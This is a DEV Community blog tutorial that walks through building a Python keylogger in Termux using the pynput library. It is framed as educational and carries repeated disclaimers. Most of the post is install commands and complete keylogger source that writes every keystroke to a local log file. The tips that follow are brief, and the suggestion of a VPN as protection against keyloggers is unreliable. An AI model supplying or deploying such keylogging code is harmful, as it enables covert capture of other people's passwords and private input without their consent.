DEV Community

Stephano Kambeta
Stephano Kambeta

Posted on

Create a Keylogger Script in Termux for Education Purposes

This guide is for learning only. Don’t use keyloggers on anyone else’s device. It’s illegal and unethical. But learning how they work can help you understand how attackers think—and how to defend against them.

What Is a Keylogger?

A keylogger is a tool that records keystrokes. It can track what someone types. Hackers use them to steal passwords and data. But security learners use them to understand threats.

In this guide, you’ll create a basic keylogger using Python in Termux. It works only on your own device or in test environments.

Step 1: Install Python in Termux

Open Termux and run:

pkg update && pkg upgrade
pkg install python
Enter fullscreen mode Exit fullscreen mode

Then check if it’s installed:

python --version
Enter fullscreen mode Exit fullscreen mode

Now install pip and required modules:

pip install pynput
Enter fullscreen mode Exit fullscreen mode

If that fails, try:

pip install --upgrade pip
pip install pynput --break-system-packages
Enter fullscreen mode Exit fullscreen mode

Step 2: Write the Keylogger Script

Create a new Python file:

nano keylogger.py
Enter fullscreen mode Exit fullscreen mode

Paste this simple code:

from pynput import keyboard

def on_press(key):
    try:
        with open("log.txt", "a") as file:
            file.write('{0}\n'.format(key.char))
    except AttributeError:
        with open("log.txt", "a") as file:
            file.write('{0}\n'.format(key))

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()
Enter fullscreen mode Exit fullscreen mode

Press CTRL + X then Y to save and exit.

Step 3: Run the Keylogger

Run it by typing:

python keylogger.py
Enter fullscreen mode Exit fullscreen mode

It will start logging every key you press. Open log.txt later to see the result.

Important Notes

  • This script works in Termux’s environment. It won’t capture keys outside the Termux session.
  • It’s for practice only. Don’t use it to monitor others.
  • Modern Android versions block global key access, so full keyloggers won’t work without root and extra setup.

Why Learn This?

Knowing how keyloggers work helps you stay safe. Many malware programs use similar tricks. Once you understand how they log and send data, it’s easier to spot threats.

For deeper learning, read about how keylogging works and other threats like ransomware or rootkits.

Protect Yourself from Keyloggers

Now that you understand how they work, here are a few tips to avoid them:

  • Don’t install apps from unknown sources
  • Use a strong antivirus
  • Use a VPN to protect your data—see this VPN review

Conclusion

Learning to create a keylogger helps you understand how attackers steal data. But you must use this knowledge responsibly. Only test on your own devices. Never use it to spy or harm others.

Want more beginner-friendly Termux projects? Check out this project list.

Disclaimer: This post is for education only. Don’t use keyloggers for illegal activity. Always get consent before testing anything on devices you don’t own.

Top comments (0)